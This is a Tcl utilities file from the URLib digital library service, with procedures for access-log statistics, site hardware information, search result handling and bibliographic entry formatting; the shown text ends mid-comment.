# UtilitiesMirror # Copyright for the scripts in this file (c) 1998 - 2024 # by Gerald Banon. All rights reserved. # utilities for mirror package provide dpi.inpe.br/banon/1998/08.02.08.56 2.1 # ---------------------------------------------------------------------- # GetFirstDay # used by Statistics proc GetFirstDay {rep} { # runs with post global serverAddressWithIP # Compute the smallerFirstDay # today # set today [clock format [GetSeconds] -format %Y.%m.%d] set today [clock format [clock seconds] -format %Y.%m.%d] set smallerFirstDay $today LoadDocAccessLogFile $rep fileContent if ![string equal {} $fileContent] { set firstLine [lindex [split $fileContent \n] 0] set firstDay [lindex [split $firstLine -] 0] set smallerFirstDay [StringMin $smallerFirstDay $firstDay] } # Compute the smallerFirstDay - end return [list [list $serverAddressWithIP $smallerFirstDay]] } # GetFirstDay - end # ---------------------------------------------------------------------- # LoadDocAccessLogFile proc LoadDocAccessLogFile {rep varName} { global homePath global loCoInRep upvar $varName fileContent Load $homePath/col/$rep/service/accessLog fileContent return # for testing new storage if [file exists $homePath/col/$rep/service/accessLog] { Load $homePath/col/$rep/service/accessLog fileContent } else { # old storage set path [file split $rep] set year [lindex $path 2] set rest [lreplace $path 2 2] regsub -all { } $rest {=} rest Load $homePath/col/$loCoInRep/doc/access/$year/$rest fileContent } } # LoadDocAccessLogFile - end # ---------------------------------------------------------------------- # GetDocAccessLogFileContent # used in ComputeStatistics proc GetDocAccessLogFileContent {rep} { LoadDocAccessLogFile $rep fileContent return [split $fileContent \n] } # GetDocAccessLogFileContent - end # ---------------------------------------------------------------------- # ConvertFilePath # not used any more - just for migration 15/09/07 proc ConvertFilePath {filePath} { global tcl_platform if [file exists $filePath] { return $filePath } elseif {$tcl_platform(platform) == "unix"} { # for URLibService Version 1.1 compatibility set splitedPath [file split $filePath] set rest [lindex $splitedPath end] regsub -all {=} $rest {:} rest set filePath [eval file join [concat [lreplace $splitedPath end end] $rest]] if [file exists $filePath] { return $filePath } } return {} } # ConvertFilePath - end # ---------------------------------------------------------------------- # GetNumberOfVisits proc GetNumberOfVisits {rep} { # runs with post # Compute the totalNumberOfVisits set totalNumberOfVisits 0 LoadDocAccessLogFile $rep fileContent if ![string equal {} $fileContent] { foreach line [split $fileContent \n] { # set numberOfClicks 1 set numberOfClicks 0 regexp {(.*)-(.*)} $line m day numberOfClicks set totalNumberOfVisits [expr $numberOfClicks + $totalNumberOfVisits] } } # Compute the totalNumberOfVisits - end return $totalNumberOfVisits } # GetNumberOfVisits - end # ---------------------------------------------------------------------- # ExtractHistogram # patternList value examples: # 2008.01 2008.02 2008.03 ... 2008.12 # 2001 2002 2003 ... 2008 # return an occurrence list like: # 22 19 45 ... 65 # example of accessLog file content: # 2010.04.05-1 # 2010.04.14-3 # 2010.04.15-1 proc ExtractHistogram {rep patternList} { LoadDocAccessLogFile $rep fileContent foreach pattern $patternList { set numberOfAccessTable($pattern) 0 } foreach line [split $fileContent \n] { foreach pattern $patternList { if [regexp "^$pattern.+-(.*)" $line m numberOfAccess] { incr numberOfAccessTable($pattern) $numberOfAccess } } } foreach pattern $patternList { lappend histogram $numberOfAccessTable($pattern) } return $histogram } # ExtractHistogram - end # ---------------------------------------------------------------------- # GetHistogram # returns a list like: # 1 22 2 19 3 45 4 34 ... 10 65 proc GetHistogram {rep periodLength todayNOD} { # runs with post # global loCoInRep # Compute histogram foreach i {1 2 3 4 5 6 7 8 9 10} { set histogram($i) 0 } set numberOfDays [expr $periodLength * 10] set startDayNOD [expr $todayNOD - $numberOfDays + 1] LoadDocAccessLogFile $rep fileContent if ![string equal {} $fileContent] { foreach line [split $fileContent \n] { if ![regexp {(.*)-(.*)} $line m day numberOfClicks] { set day $line # set numberOfClicks 1 set numberOfClicks 0 } set NOD [ComputeNOD $day] set i [expr [expr $NOD - $startDayNOD] / $periodLength + 1] if {0 < $i && $i < 11} { incr histogram($i) $numberOfClicks } } } # Compute histogram - end return [array get histogram] } # GetHistogram - end # ---------------------------------------------------------------------- # GetWordOccurrences proc GetWordOccurrences {} { # runs with post global wordOccurrenceArray set list {} set niceIndex 0 foreach {word occurrence} [array get wordOccurrenceArray] { incr niceIndex if {$niceIndex == 1000} { set x 0; after 1 {set x 1}; vwait x ;# nice procedure set niceIndex 0 } lappend list [list $word $occurrence] } return $list } # GetWordOccurrences - end # ---------------------------------------------------------------------- # GetNumberOfItems # returns: # number of (visible) references # number of full texts (of visible references) # becomes obsolete from 2011-01-15 - migration 2011-01-15 # was replaced by GetNumberOfReferences # not used proc GetNumberOfItems2 {} { global metadataArray global repArray if ![info exists repArray(shown,visibility)] { # probably a corrupted .repArray.tcl file or all the repositories are hidden return {0 0} ;# otherwise executing GetNumberOfItems results in an error instead of a pair of integers, that cannot be added in CreateMirror } # return [list [list [llength [array names metadataArray *,referencetype]] [llength [array names metadataArray *-0,size]]]] set fullTextList [array names metadataArray *-0,size] regsub -all {,size} $fullTextList {} fullTextList set i 0 foreach rep-i $fullTextList { if {[lsearch $repArray(shown,visibility) ${rep-i}] != -1} {incr i} } return [list [list [llength $repArray(shown,visibility)] $i]] } # GetNumberOfItems - end # ---------------------------------------------------------------------- # GetNumberOfReferences # returns: # server address # number of references # number of (visible) references # number of full texts (of visible references) # example: # GetNumberOfReferences # => {{banon-pc2.dpi.inpe.br 800} {numberofreferences 300 numberofvisiblereferences 270 numberofvisiblereferenceswithfulltext 150}} proc GetNumberOfReferences {} { global metadataArray global repArray global serverAddress if ![info exists repArray(shown,visibility)] { # probably a corrupted .repArray.tcl file or all the repositories are hidden # return {0 0} ;# otherwise executing GetNumberOfReferences results in an error instead of a pair of integers, that cannot be added in CreateMirror set log "repArray(shown,visibility) doesn't exist, the .repArray.tcl file is probably corrupted or all the repositories are hidden" puts [StoreLog {warning} {GetNumberOfReferences (1)} $log] return {{0 0}} ;# otherwise executing GetNumberOfReferences results in an error instead of a pair of integers, that cannot be added in CreateMirror - added by GJFB in 2011-03-20 - should return a pair } if ![info exists repArray(hidden,visibility)] { ;# if added by GJFB in 2024-05-19 to avoid the error message: 'CreateMirror (5): list element in braces followed by ">" instead of space' when displaying the xxAbout.html frame # probably a corrupted .repArray.tcl file or all the repositories are shown set log "repArray(hidden,visibility) doesn't exist, the .repArray.tcl file is probably corrupted or all the repositories are shown" puts [StoreLog {warning} {GetNumberOfReferences (2)} $log] return {{0 0}} } set fullTextList [array names metadataArray *-0,size] regsub -all {,size} $fullTextList {} fullTextList set numberOfVisibleReferencesWithFullText 0 foreach rep-i $fullTextList { if {[lsearch $repArray(shown,visibility) ${rep-i}] != -1} {incr numberOfVisibleReferencesWithFullText} } set numberOfVisibleReferences [llength $repArray(shown,visibility)] set numberOfInvisibleReferences [llength $repArray(hidden,visibility)] set numberOfReferences [expr $numberOfVisibleReferences + $numberOfInvisibleReferences] return [list [list $serverAddress [list numberofreferences $numberOfReferences numberofvisiblereferences $numberOfVisibleReferences numberofvisiblereferenceswithfulltext $numberOfVisibleReferencesWithFullText]]] } # GetNumberOfReferences - end # ---------------------------------------------------------------------- # GetSiteInformation proc GetSiteInformation {} { global homePath global URLibServiceRepository global serverAddress global serverAddressWithIP global tcl_platform global diskSpeed ;# set and use only in this procedure - used to speed up procedure execution # serviceVersion set serviceVersion [GetURLibServiceLastVersion] # => 2013:04.20.02.17.36 dpi.inpe.br/banon/1999/01.09.22.14 banon # regexp {..:..\...\...\...} $serviceVersion serviceVersion ;# 13:04.20.02.17 regexp {..:..\...\...\...\...} $serviceVersion serviceVersion ;# 13:04.20.02.17.36 - added by GJFB in 2021-02-02 - the full service version is used when configuring the newVersion file in the root directory # ipPort foreach {ip urlibPort} $serverAddressWithIP {break} regsub {.$} $urlibPort {} httpdPort ;# 802 -> 80 set ipPort [list $ip $httpdPort] # integrityAlert set integrityAlert "" if [file exists $homePath/@incompleteMetadataList] { Load $homePath/@incompleteMetadataList incompleteMetadataList set integrityAlert "$integrityAlert*"\ } if {[file exists $homePath/@missingDirectoryList]} { Load $homePath/@missingDirectoryList missingDirectoryList set integrityAlert "$integrityAlert*"\ } if [string equal {} $integrityAlert] { set integrityAlert  \; } # insertionOn if [file exists $homePath/col/$URLibServiceRepository/auxdoc/insertionOn-] { Load $homePath/col/$URLibServiceRepository/auxdoc/insertionOn- time set insertionOn "
*
" } elseif {[file exists $homePath/col/$URLibServiceRepository/auxdoc/insertionOn-authentication]} { ;# added by GJFB in 2020-11-21 for displaying eventual failure while storing password (see StorePassword2) Load $homePath/col/$URLibServiceRepository/auxdoc/insertionOn-authentication time set insertionOn "
*
" } else { set insertionOn  \; } # hourMinute set hourMinute [clock format [clock seconds] -format %H:%M] # numberOfProcessors # cpuMHZ # cacheSize # diskSpaceAvailable # diskSpaceUse # diskSpeed if {$tcl_platform(os) == "Linux"} { # CPUINFO set cpuInfo [exec cat /proc/cpuinfo] # cpu MHz : 2310.685 # cache size : 512 KB set numberOfProcessors [regexp -all {cpu MHz\s+: ([0-9.]+)} $cpuInfo m cpuMHZ] set cpuMHZ [format "%.1f GHZ" [expr $cpuMHZ / 1000.]] ;# GHZ # regexp -all {cache size\s+: ([0-9 K]+)} $cpuInfo m cacheSize ;# takes the last match # regexp {cache size\s+: ([0-9 K]+)} $cpuInfo m cacheSize ;# takes the first match regexp {cache size\s+: (\d+) KB} $cpuInfo m cacheSize ;# takes the first match set cacheSize "$cacheSize KiB" ;# KiB # DF set dfOutput [exec df -k $homePath] # Filesystem 1K-blocks Used Available Use% Mounted on # /dev/sda5 113238652 8554268 104684384 8% /mnt/dados1 # [root@md-m09 conf]# /usr/bin/tclsh # % exec df -k /mnt/dados1/URLibFOTO # Filesystem 1K-blocks Used Available Use% Mounted on # /dev/mapper/vg_mtcm09-lv_mnt_dados1 # 450581168 32075100 395617828 8% /mnt/dados1 # [root@mtc-m16 URLib2]# /usr/bin/tclsh # % exec df -k /mnt/dados1/URLib2/ # Filesystem 1K-blocks Used Available Use% Mounted on # /dev/mapper/vg_hellios-dados # 132201880 17093868 108385864 14% /mnt # [root@licuri URLibIBICT]# /usr/bin/tclsh # % exec df -k /home/banon/URLibIBICT/ # Filesystem 1K-blocks Used Available Use% Mounted on # /dev/mapper/VolGroup-lv_root # 46934984 2413052 42131100 6% / set line2 [lindex [split $dfOutput \n] 1] foreach {fileSystem blocks used diskSpaceAvailable diskSpaceUse} $line2 {break} if [string equal {} $blocks] { # long fileSystem name - 1K-blocks continues next line (Centos, md-m09.sid.inpe.br) set line3 [lindex [split $dfOutput \n] 2] foreach {blocks used diskSpaceAvailable diskSpaceUse} $line3 {break} } set diskSpaceAvailable [format "%.1f GiB" [expr $blocks / 1048576.]] ;# GiB set used [format "%.1f GiB" [expr $used / 1048576.]] ;# GiB if ![info exists diskSpeed] { # set deviceParameter [exec hdparm -t $fileSystem] ;# time consuming - commented by GJFB in 2011-02-10 - doesn't work (catch would return 1) with mtc-m12 hdparm returns the desired data plus an error message: # # /dev/sda9: # Timing buffered disk reads: 144 MB in 3.00 seconds = 48.00 MB/sec # HDIO_DRIVE_CMD(null) (wait for flush complete) failed: Inappropriate ioctl for device # HDPARM catch {exec hdparm -t $fileSystem} deviceParameter ;# time consuming - added by GJFB in 2011-02-10 - even when catch returns 1 deviceParameter contains the desired data # /dev/sda5: # Timing buffered disk reads: 120 MB in 3.04 seconds = 39.49 MB/sec set line3 [lindex [split $deviceParameter \n] 2] set diskSpeed [lindex $line3 end-1] set diskSpeed [format "%.1f MB/s" $diskSpeed] } # FREE # set free [exec free -ob] ## total used free shared buffers cached ## Mem: 2051948544 1609981952 441966592 0 333066240 788664320 ## Swap: 2146787328 122880 2146664448 # The -o switch disables the display of a "buffer adjusted" line. If the # -o option is not specified, free subtracts buffer memory from the used # memory and adds it to the free memory reported. set free [exec free -b] # total used free shared buffers cached # Mem: 4230152192 4001443840 228708352 0 392478720 2455244800 # -/+ buffers/cache: 1153720320 3076431872 # Swap: 8381521920 19476480 8362045440 set ramInByte [lindex [lindex [split $free \n] 1] 1] set ram [format "%.1f GiB" [expr $ramInByte / 1073741824.]] ;# GiB # set ramUsed [lindex [lindex [split $free \n] 1] 2] ;# commented by GJFB in 2013-02-04 set ramUsed [lindex [lindex [split $free \n] 2] 2] ;# added by GJFB in 2013-02-04 - the buffer size should be substracted from the original used ram to get the real used ram # set ramUse "[expr int(100 * $ramUsed / double($ramInByte))]%" ;# doesn't work with tcl 8.4 set ramUse [expr int(100 * ($ramUsed / double($ramInByte)))]% } else { set numberOfProcessors - set cpuMHZ - set ram - set ramUse - set cacheSize - set diskSpaceAvailable - set used - set diskSpaceUse - set diskSpeed - } # indexSize set indexSize [returnFileSize $homePath/col/$URLibServiceRepository/auxdoc/.repArray.tcl 1] ;# force mega byte unit return [list [list $serverAddress [list serviceversion $serviceVersion ipport $ipPort integrityalert $integrityAlert insertionon $insertionOn hourminute $hourMinute numberofprocessors $numberOfProcessors cpumhz $cpuMHZ ram $ram ramuse $ramUse cachesize $cacheSize diskspaceavailable $diskSpaceAvailable used $used diskspaceuse $diskSpaceUse diskspeed $diskSpeed indexsize $indexSize]]] } # GetSiteInformation - end # ---------------------------------------------------------------------- # GetEntry # type value is short, brief, full, fullbibtex or fullrefer # path is used in case of a relative link (see an old use in short) # path example: ../ # used in: # LoopOverEntries (utilities1.tcl) # MirrorGet (mirrorget.tcl) # >>> extra is set in LoopOverEntries and MirrorGet only # mirrorRep is used to form the full document link (query string part) # and then used by ComputeVersionState in Get # and then used to get the @siteList.txt content. # in extra: # flag value is 0 or 1; used for BibINPE # 1 means to display "See also:" # 0 otherwise # numbering value is {} or {numbering prefix}; {} means to do no numbering # outputFormat is used differently by briefTitleAuthor and dateTitleSite # page value is no or yes; used by CreateBriefTitleAuthorEntry # includeReturnAddress values are yes or no; set in GetSearchResult and used in CreateBriefEntry, CreateFullEntry and CreateBriefTitleAuthorEntry (see update link) # linkType used by CreateBriefTitleAuthorEntry (see CreateBriefTitleAuthorEntry) # dateFieldName value is metadatalastupdate or issuedate (used by CreateDateTitleSite) # siteFieldName value is site or newspaper (used by CreateDateTitleSite) # nameFormat value is short, familynamefirst or familynamelast (used by CreateBriefTitleAuthorEntry) # nameSeparator value is a string like {; } or {
} (used by CreateBriefTitleAuthorEntry) ## pID not used # languageRepository value is: # dpi.inpe.br/banon/1999/05.03.22.11 or # dpi.inpe.br/banon/1999/06.19.22.43 # proc GetEntry {rep-i mirrorRep {type {brief}} {path {}} {pID {}} {extra {}}} # proc GetEntry {rep-i mirrorRep {type {brief}} {path {}} {languageRepository {}} {extra {}}} { global loBiMiRep global metadataArray global BibINPERepository global homePath global URLibServiceRepository global errorInfo # set xxx --$extra-- # Store xxx C:/tmp/bbb.txt auto 0 a # foreach {keywords excludedFields flag remoteIp numbering outputFormat cellBackgroundColor timeStamp page includeReturnAddress linkType hideSimilarButton targetValue dateFieldName siteFieldName nameFormat nameSeparator accent case similarity originalRepForSimilarity imageFlag} $extra {break} # foreach {keywords excludedFields flag remoteIp numbering outputFormat cellBackgroundColor timeStamp page includeReturnAddress linkType hideSimilarButton targetValue dateFieldName siteFieldName nameFormat nameSeparator accent case similarity originalRepForSimilarity imageFlag mirrorGetFlag} $extra {break} ;# added by GJFB in 2022-02-07 - commented by GJFB in 2022-06-13 # foreach {keywords excludedFields flag remoteIp numbering outputFormat cellBackgroundColor timeStamp page includeReturnAddress linkType hideSimilarButton targetValue dateFieldName siteFieldName nameFormat nameSeparator accent case similarity originalRepForSimilarity imageFlag mirrorGetFlag searchInputValue childIdentifier forceRecentFlag} $extra {break} ;# added by GJFB in 2022-06-13 foreach {keywords excludedFields flag remoteIp numbering outputFormat cellBackgroundColor timeStamp page includeReturnAddress linkType hideSimilarButton targetValue dateFieldName siteFieldName nameFormat nameSeparator accent case similarity originalRepForSimilarity imageFlag mirrorGetFlag searchInputValue childIdentifier forceRecentFlag forceHistoryBackFlag} $extra {break} ;# added by GJFB in 2023-06-09 # similarity value is a citation key or a similarity when finding for related content (see CreateOutput) # set xxx [list $keywords $excludedFields $outputFormat] # Store xxx C:/tmp/bbb.txt auto 0 a # set xxx [CallTrace] # Store xxx C:/tmp/bbb.txt auto 0 a # Testing the existence of the metadata if ![info exist metadataArray(${rep-i},referencetype)] { return [list {} {}] } # Testing the existence of the metadata - end if {$mirrorRep == {}} {set mirrorRep $loBiMiRep} ;# LoopOverEntries may set to {} switch -exact $type site { set entry [CreateSiteEntry ${rep-i} $mirrorRep] } short { if 1 { # for on-line changes source $homePath/col/$URLibServiceRepository/doc/utilitiesMirror.tcl source $homePath/col/$BibINPERepository/doc/BibINPE.tcl source $homePath/col/$BibINPERepository/doc/BibINPEStyleSheet.tcl } set entry [CreateShortEntry ${rep-i} $path $mirrorRep] } brief { if 0 { # for on-line changes source $homePath/col/$URLibServiceRepository/doc/utilitiesMirror.tcl } # set xxx --$timeStamp-- # Store xxx C:/tmp/bbb.txt auto 0 a # timeStamp value is the URLibService version # if [catch {CreateBriefEntry ${rep-i} $path $mirrorRep $languageRepository $remoteIp $includeReturnAddress $hideSimilarButton $keywords $similarity} entry] # ;# commented by GJFB in 2022-06-13 # if [catch {CreateBriefEntry ${rep-i} $path $mirrorRep $languageRepository $remoteIp $includeReturnAddress $hideSimilarButton $keywords $similarity $targetValue $searchInputValue $childIdentifier $forceRecentFlag} entry] # ;# added by GJFB in 2022-06-13 if [catch {CreateBriefEntry ${rep-i} $path $mirrorRep $languageRepository $remoteIp $includeReturnAddress $hideSimilarButton $keywords $similarity $targetValue $searchInputValue $childIdentifier $forceRecentFlag $forceHistoryBackFlag} entry] { ;# added by GJFB in 2023-06-09 puts $errorInfo ;# must be a list when using socket set entry [list [split $errorInfo \n]] ;# must be a one element list because of the line "set entry [lindex $entry end]" in MirrorGet } } briefTitleAuthor { if 0 { # for on-line changes source $homePath/col/$URLibServiceRepository/doc/utilitiesMirror.tcl } # set entry [CreateBriefTitleAuthorEntry ${rep-i} $path $mirrorRep 0 $page $linkType $targetValue $$includeReturnAddress] # set entry [CreateBriefTitleAuthorEntry ${rep-i} $path $mirrorRep 0 $page $linkType $targetValue $includeReturnAddress $nameFormat $nameSeparator] ;# commented by GJFB in 2010-10-06 # set entry [CreateBriefTitleAuthorEntry ${rep-i} $path $mirrorRep 0 $page $linkType $targetValue $includeReturnAddress $nameFormat $nameSeparator $languageRepository $hideSimilarButton $similarity $originalRepForSimilarity $imageFlag] ;# added by GJFB in 2010-10-06 - commented by GJFB in 2022-06-13 # set entry [CreateBriefTitleAuthorEntry ${rep-i} $path $mirrorRep 0 $page $linkType $targetValue $includeReturnAddress $nameFormat $nameSeparator $languageRepository $hideSimilarButton $similarity $originalRepForSimilarity $imageFlag $searchInputValue $childIdentifier $forceRecentFlag] ;# added by GJFB in 2022-06-13 set entry [CreateBriefTitleAuthorEntry ${rep-i} $path $mirrorRep 0 $page $linkType $targetValue $includeReturnAddress $nameFormat $nameSeparator $languageRepository $hideSimilarButton $similarity $originalRepForSimilarity $imageFlag $searchInputValue $childIdentifier $forceRecentFlag $forceHistoryBackFlag] ;# added by GJFB in 2023-06-09 } briefTitleAuthorMisc { if 0 { # for on-line changes source $homePath/col/$URLibServiceRepository/doc/utilitiesMirror.tcl } # set entry [CreateBriefTitleAuthorEntry ${rep-i} $path $mirrorRep $outputFormat $page $linkType $targetValue $includeReturnAddress $nameFormat $nameSeparator] ;# commented by GJFB in 2010-10-06 # set entry [CreateBriefTitleAuthorEntry ${rep-i} $path $mirrorRep $outputFormat $page $linkType $targetValue $includeReturnAddress $nameFormat $nameSeparator $languageRepository $hideSimilarButton $similarity $originalRepForSimilarity $imageFlag] ;# added by GJFB in 2010-10-06 - commented by GJFB in 2022-06-13 # set entry [CreateBriefTitleAuthorEntry ${rep-i} $path $mirrorRep $outputFormat $page $linkType $targetValue $includeReturnAddress $nameFormat $nameSeparator $languageRepository $hideSimilarButton $similarity $originalRepForSimilarity $imageFlag $searchInputValue $childIdentifier $forceRecentFlag] ;# added by GJFB in 2022-06-13 set entry [CreateBriefTitleAuthorEntry ${rep-i} $path $mirrorRep $outputFormat $page $linkType $targetValue $includeReturnAddress $nameFormat $nameSeparator $languageRepository $hideSimilarButton $similarity $originalRepForSimilarity $imageFlag $searchInputValue $childIdentifier $forceRecentFlag $forceHistoryBackFlag] ;# added by GJFB in 2023-06-09 } full { if 0 { # for on-line changes source $homePath/col/$URLibServiceRepository/doc/utilitiesMirror.tcl } # if [catch {CreateFullEntry ${rep-i} $path $mirrorRep $keywords $excludedFields $numbering $remoteIp $includeReturnAddress $accent $case $languageRepository $hideSimilarButton $imageFlag} entry] # ;# commented by GJFB in 2022-02-07 if [catch {CreateFullEntry ${rep-i} $path $mirrorRep $keywords $excludedFields $numbering $remoteIp $includeReturnAddress $accent $case $languageRepository $hideSimilarButton $imageFlag $mirrorGetFlag} entry] { ;# added by GJFB in 2022-02-07 puts $errorInfo ;# must be a list when using socket set entry [list [split $errorInfo \n]] ;# must be a one element list because of the line "set entry [lindex $entry end]" in MirrorGet } } fullbibtex { if 0 { # for on-line changes source $homePath/col/$URLibServiceRepository/doc/utilitiesMirror.tcl } set entry [CreateFullBibTeXEntry ${rep-i} $path $mirrorRep] } fullrefer { set entry [CreateFullReferEntry ${rep-i} $path $mirrorRep] } dateTitleSite { if 0 { # for on-line changes source $homePath/col/$URLibServiceRepository/doc/utilitiesMirror.tcl } set entry [CreateDateTitleSite ${rep-i} $path $mirrorRep $outputFormat $cellBackgroundColor $dateFieldName $siteFieldName] } fullBibINPE { if 0 { # for on-line changes source $homePath/col/$URLibServiceRepository/doc/utilitiesMirror.tcl source $homePath/col/$BibINPERepository/doc/BibINPE.tcl source $homePath/col/$BibINPERepository/doc/BibINPEStyleSheet.tcl } set entry [${BibINPERepository}::CreateFullBibINPEEntry ${rep-i} $path $mirrorRep $flag $languageRepository] } fullAuthorTitle { set entry [${BibINPERepository}::CreateFullAuthorTitleEntry ${rep-i} $path $mirrorRep $numbering] } fullXML { if 0 { # for online changes source $homePath/col/$URLibServiceRepository/doc/utilitiesMirror.tcl source $homePath/col/$URLibServiceRepository/doc/utilities2.tcl } set entry [CreateFullXMLEntry ${rep-i}] } return $entry } # GetEntry - end # ---------------------------------------------------------------------- # FindRepositoryForFind- # extremity values are # 0 for the left year interval extremity # 1 for the right year interval extremity # used with mosaic proc FindRepositoryForFind- {entrySearch file extremity} { global metadataArray global searchRepository global homePath global serverAddress # puts $entrySearch set searchResult [${searchRepository}::MountSearch $entrySearch] # serverAddress # puts ---$searchResult--- # puts >>>[llength $searchResult] foreach index $searchResult { regexp {(.*)-([^-]*)$} $index m metadataRep i if {$i == 0} { # rep set rep [ReturnRepositoryName $metadataRep] # date if [info exists metadataArray($index,date)] { set date $metadataArray($index,date) if $extremity { # select the right extremity regsub {.*\|} $date {} date } else { # select the left extremity regsub {\|.*} $date {} date } } else { set date {} } if {$file == ""} { # file name doesn't exist lappend list [list $date $rep $serverAddress] } else { # file name exists if [file exists $homePath/col/$rep/doc/$file] { # file found lappend list [list $date $rep $serverAddress] } } } } if [info exists list] { # return the most recent data # compare dates set list [lsort -command Compare0 $list] return [list [lindex $list end]] } # an empty return means no repository found or # no file found (if specified) } # FindRepositoryForFind- - end # ---------------------------------------------------------------------- # ReturnWordListOfSearchExpression # ReturnWordListOfSearchExpression returns a list of words contained in the search expression # the words are listed by field names as they appears in the search expression # words in a "not" expression are omitted # example: # ReturnWordListOfSearchExpression {au banon lise and y 2008 or author banon and not ti unify} # => visibility shown au* {banon lise} author* banon y* 2008 # used in LoopOverEntries only # used to highlight words in metadata proc ReturnWordListOfSearchExpression {searchExpression} { global searchRepository return [${searchRepository}::MountSearch $searchExpression {x} {x} {x} {} {} 1] } # ReturnWordListOfSearchExpression - end # ---------------------------------------------------------------------- # GetMetadataRepositories # called from MirrorSearch (see mirrorsearch.tcl) # called from SearchEntry (see utilities2.tcl) # called from CreateMirror (see mirror.tcl) # called from XXRepository (see utilities2.tcl) # format value is 0, 1, 2, 3, 4 or 5 # # 0 means that the output format is # {rep-i rep-i ...} # used in SearchEntry # # 1 means that the output format is # {site rep-i} {site rep-i} ... WHERE site is actually serverAddress (ex: {gjfb.home 19050}) # used in SearchRepository and Submit # # 2 means that the output format is (if stampName == metadatalastupdate) # {site key metadataLastUpdate rep-i} {site key metadataLastUpdate rep-i} ... # or (if stampName == lastUpdate) # {site key lastUpdate rep-i} {site key lastUpdate rep-i} ... # 2 is not used any more # # 3 means that the output format is (if stampName == metadatalastupdate) # {site key/similarity metadataLastUpdate rep-i state} {site key metadataLastUpdate rep-i state} ... # or (if stampName == lastUpdate) # {site key/similarity lastUpdate rep-i state} {site key lastUpdate rep-i state} ... # used in MirrorSearch and CreateMirror # state values are 0 or 1 # 1 means that the host collection is the current local collection # 0 means that the host collection is not the current local collection # # 4 means that the output format is (if stampName == metadatalastupdate) # {site key metadataLastUpdate rep-i state sortedFieldValue} {site key metadataLastUpdate rep-i state sortedFieldValue} ... # or (if stampName == lastUpdate) # {site key lastUpdate rep-i state sortedFieldValue} {site key lastUpdate rep-i state sortedFieldValue} ... # used in GetSearchResult (to create summary ordered by page number) # # 5 means that the output is the number of rep-i # # check values are 0 or 1 (not used any more - time consuming) # 1 means to check the consistency with the file system (not used) # stampName values are metadatalastupdate or lastupdate (not used with format = 0 and 1) # accent and case values are yes or no # mirrorRep is for a future improvment (for filtering search result) - not used # codedPassword value is the administrator write coded password or empty # if the password is correct then the hidden repositories as well are searched # sortedFieldName is the name of the field used in CreateOutput to sort the entries # examples of sortedFieldName are pages (page is accepted), title, issuedate, key.title ... (see CreateOutput) # maximuNumberOfEntries is the maximum number of entries to be returned # if maximuNumberOfEntries is 0 then all the entries are returned # subsetOfGroups value is a list of groups, example: {DPI DSR} # multipleSearch value is 0 (default) or 1 # 0 means that entrySearch is a search expression # 1 means that entrySearch is a list of search expressions proc GetMetadataRepositories { mirrorRep format entrySearch accent case check {stampName {}} {arrayName {repArray}} {codedPassword {}} {sortedFieldName {pages}} {maximuNumberOfEntries {0}} {subsetOfGroups {}} {multipleSearch {0}} } { # runs with post global metadataArray global searchRepository global serverAddress # global serverAddressWithIP global updateMetadataFromBiblioDBInUse if {[info exists updateMetadataFromBiblioDBInUse] && $updateMetadataFromBiblioDBInUse} { return {} } # searchResult # SEARCH if $multipleSearch { # multiple search set searchResult [${searchRepository}::MultipleMountSearch $entrySearch $accent $case $arrayName $codedPassword $subsetOfGroups] } else { # simple search # puts [list ${searchRepository}::MountSearch $entrySearch $accent $case $arrayName $codedPassword $subsetOfGroups] # puts --[${searchRepository}::MountSearch $entrySearch $accent $case $arrayName $codedPassword $subsetOfGroups]-- set searchResult [${searchRepository}::MountSearch $entrySearch $accent $case $arrayName $codedPassword $subsetOfGroups] } set numberOfEntries [llength $searchResult] # site # set site [GetServerAddress] set site $serverAddress # set site $serverAddressWithIP # set xxx [CallTrace] # set xxx $site # Store xxx C:/tmp/bbb auto 0 a set list {} switch -exact -- $format { 5 { set list $numberOfEntries } 4 { # format == 4 # site citationKey metadataLastUpdate rep-i state sortedFieldValue foreach rep-i $searchResult { if [info exist metadataArray(${rep-i},referencetype)] { set referenceType $metadataArray(${rep-i},referencetype) } else { continue ;# drop inconsistent metadata } # if [info exist metadataArray(${rep-i},citationkey)] # set citationKey $metadataArray(${rep-i},citationkey) # # else # ## Migration 14/1/01 (the if could be dropped) # set citationKey [CreateCitationKey metadataArray ${rep-i}] ## Migration 14/1/01 - end # # set stamp $metadataArray(${rep-i},$stampName) set state [ReturnState ${rep-i}] if [string equal {page} $sortedFieldName] {set sortedFieldName pages} ;# page is accepted if [regexp {key.title$} $sortedFieldName] {set sortedFieldName title} ;# may be used in UpdateBody - added by GJFB in 2016-03-14 (was missing) # if [string equal {date.key} $sortedFieldName] # ;# commented by GJFB in 2018-02-26 if [string equal {date.year.key} $sortedFieldName] { ;# added by GJFB in 2018-02-26 if [regexp {Newspaper} $referenceType] { set sortedFieldName issuedate ;# may be used in UpdateBody - added by GJFB in 2016-03-14 } else { set sortedFieldName date ;# may be used in UpdateBody - added by GJFB in 2016-03-14 } } ConditionalSet sortedFieldValue metadataArray(${rep-i},$sortedFieldName) {} ;# for example: page number if [string equal {pages} $sortedFieldName] {regsub -- {-.*} $sortedFieldValue {} sortedFieldValue} # lappend list [list $site $citationKey $stamp ${rep-i} $state $pages] # lappend list [list $site $citationKey $stamp ${rep-i} $state $pages $title] # puts [list $site $citationKey $stamp ${rep-i} $state $sortedFieldValue] lappend list [list $site $citationKey $stamp ${rep-i} $state $sortedFieldValue] } } 3 { # format == 3 # site sortElement metadataLastUpdate rep-i state # entrySearch => related:sid.inpe.br/iris@1912/2005/07.18.21.38.57-0:pt:title:2:espectral+comportamento+rugosidade+sob:efeito+angulo+observacao+rugosidade+superficial+comportamento+espectral+solos+sob+condicoes+hidricas+temporalmente+variaveis: set relatedFlag [regexp {^related:(.*?):(.*?):(.*?):(.*?):(.*?):(.*?):} $entrySearch m metadataRep-i language selectedFieldNameList numberOfCombinations importantWordList wordList] # set i 0 foreach rep-i $searchResult { if ![info exist metadataArray(${rep-i},referencetype)] {continue} ;# drop inconsistent metadata set stamp $metadataArray(${rep-i},$stampName) set state [ReturnState ${rep-i}] ;# is 1 if the repository contains the original and 0 otherwise if $relatedFlag { set wordListList {} foreach fieldName $selectedFieldNameList { ConditionalSet $fieldName metadataArray(${rep-i},$fieldName) {} # lappend wordListList [SimplifyWordList [set $fieldName] 1 0] ;# commented by GJFB in 2010-09-09 lappend wordListList [SimplifyWordList [set $fieldName] 1 1] ;# added by GJFB in 2010-09-09 } set currentWordList [join $wordListList] # puts "wordList = $wordList" # puts "currentWordList = $currentWordList" if {[info tclversion] > 8.3} { # lsearch -all was introduced after 8.3 (used in ComputeSimilarity) # COMPUTE SIMILARITY # set 